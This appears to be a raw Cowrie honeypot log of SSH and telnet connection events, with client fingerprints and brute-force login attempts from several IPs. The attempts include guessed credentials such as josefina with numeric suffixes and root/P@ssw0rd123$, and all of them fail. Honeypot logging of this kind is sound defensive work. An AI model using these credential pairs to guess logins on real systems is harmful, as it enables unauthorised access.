{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0178947f233","protocol":"telnet","message":"New connection: 152.42.224.71:54548 (10.17.0.5:23) [session: e0178947f233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:36.783774Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:37.012053Z","src_ip":"31.40.204.166","session":"04ba0d0e2969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54564,"dst_ip":"10.17.0.5","dst_port":23,"session":"08992491922c","protocol":"telnet","message":"New connection: 152.42.224.71:54564 (10.17.0.5:23) [session: 08992491922c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:37.940545Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":29266,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ebaba0e9199","protocol":"ssh","message":"New connection: 213.209.159.56:29266 (10.17.0.5:22) [session: 4ebaba0e9199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:38.612882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:38.617803Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:38.699661Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina","message":"login attempt [josefina/josefina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:39.099232Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina1","message":"login attempt [josefina/josefina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:40.184917Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168180465698,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:40.532751Z","src_ip":"152.42.224.71","session":"ad6236abbdc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":48512,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdbfa77bca44","protocol":"ssh","message":"New connection: 81.9.145.130:48512 (10.17.0.5:22) [session: bdbfa77bca44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.136932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.141083Z","src_ip":"81.9.145.130","session":"bdbfa77bca44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.253279Z","src_ip":"81.9.145.130","session":"bdbfa77bca44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina123","message":"login attempt [josefina/josefina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.269844Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.306530Z","src_ip":"47.237.167.49","session":"849b29ff6316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123$","message":"login attempt [root/P@ssw0rd123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.738207Z","src_ip":"81.9.145.130","session":"bdbfa77bca44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54576,"dst_ip":"10.17.0.5","dst_port":23,"session":"01db1d24d1f6","protocol":"telnet","message":"New connection: 152.42.224.71:54576 (10.17.0.5:23) [session: 01db1d24d1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:41.833275Z"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina1234","message":"login attempt [josefina/josefina1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:42.353841Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:42.852525Z","src_ip":"81.9.145.130","session":"bdbfa77bca44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"josefina","password":"josefina12345","message":"login attempt [josefina/josefina12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:43.438470Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:44.521968Z","src_ip":"213.209.159.56","session":"4ebaba0e9199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34186,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd8ce35443e7","protocol":"telnet","message":"New connection: 152.42.224.71:34186 (10.17.0.5:23) [session: cd8ce35443e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:46.979623Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35504,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9a1c4514c6f","protocol":"ssh","message":"New connection: 31.40.204.166:35504 (159.203.135.109:22) [session: f9a1c4514c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:47.118423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:47.122326Z","src_ip":"31.40.204.166","session":"f9a1c4514c6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:47.291306Z","src_ip":"31.40.204.166","session":"f9a1c4514c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.040141105651855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:47.735745Z","src_ip":"152.42.224.71","session":"0fdc4bb3c409","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:47.786178Z","src_ip":"31.40.204.166","session":"f9a1c4514c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:48.915086Z","src_ip":"31.40.204.166","session":"f9a1c4514c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34196,"dst_ip":"10.17.0.5","dst_port":23,"session":"df4f8cef9467","protocol":"telnet","message":"New connection: 152.42.224.71:34196 (10.17.0.5:23) [session: df4f8cef9467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:50.584032Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3348d82fe85","protocol":"ssh","message":"New connection: 31.40.204.166:48826 (159.203.135.109:22) [session: a3348d82fe85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:58.684398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:58.708784Z","src_ip":"31.40.204.166","session":"a3348d82fe85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:58.892766Z","src_ip":"31.40.204.166","session":"a3348d82fe85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:39:59.627141Z","src_ip":"31.40.204.166","session":"a3348d82fe85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:00.904647Z","src_ip":"31.40.204.166","session":"a3348d82fe85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.95824575424194,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:01.831010Z","src_ip":"152.42.224.71","session":"1d709a1b02c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.376100063323975,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:02.559878Z","src_ip":"152.42.224.71","session":"e2af444ee4b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.887002229690552,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:02.866478Z","src_ip":"152.42.224.71","session":"cd8ce35443e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.778738021850586,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:04.484694Z","src_ip":"152.42.224.71","session":"3bac82f8dcd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23182000d19","protocol":"telnet","message":"New connection: 152.42.224.71:47934 (10.17.0.5:23) [session: a23182000d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:05.588332Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59926,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e44104440b","protocol":"telnet","message":"New connection: 152.42.224.71:59926 (10.17.0.5:23) [session: 67e44104440b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:06.225107Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:08.547667Z","src_ip":"47.237.167.49","session":"849b29ff6316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36676,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a18177dc414","protocol":"ssh","message":"New connection: 31.40.204.166:36676 (159.203.135.109:22) [session: 2a18177dc414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:11.480608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:11.486066Z","src_ip":"31.40.204.166","session":"2a18177dc414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:11.609816Z","src_ip":"31.40.204.166","session":"2a18177dc414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":48652,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a3eaf3db94a","protocol":"ssh","message":"New connection: 109.172.54.111:48652 (10.17.0.5:22) [session: 1a3eaf3db94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:11.737227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:11.742868Z","src_ip":"109.172.54.111","session":"1a3eaf3db94a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:11.842204Z","src_ip":"109.172.54.111","session":"1a3eaf3db94a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:12.088005Z","src_ip":"31.40.204.166","session":"2a18177dc414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3rjs1la7qe","message":"login attempt [root/3rjs1la7qe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:12.145967Z","src_ip":"109.172.54.111","session":"1a3eaf3db94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.15769481658936,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:12.382451Z","src_ip":"152.42.224.71","session":"677f5e09f522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59950,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7f99f0774f","protocol":"telnet","message":"New connection: 152.42.224.71:59950 (10.17.0.5:23) [session: 6e7f99f0774f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:13.218587Z"}
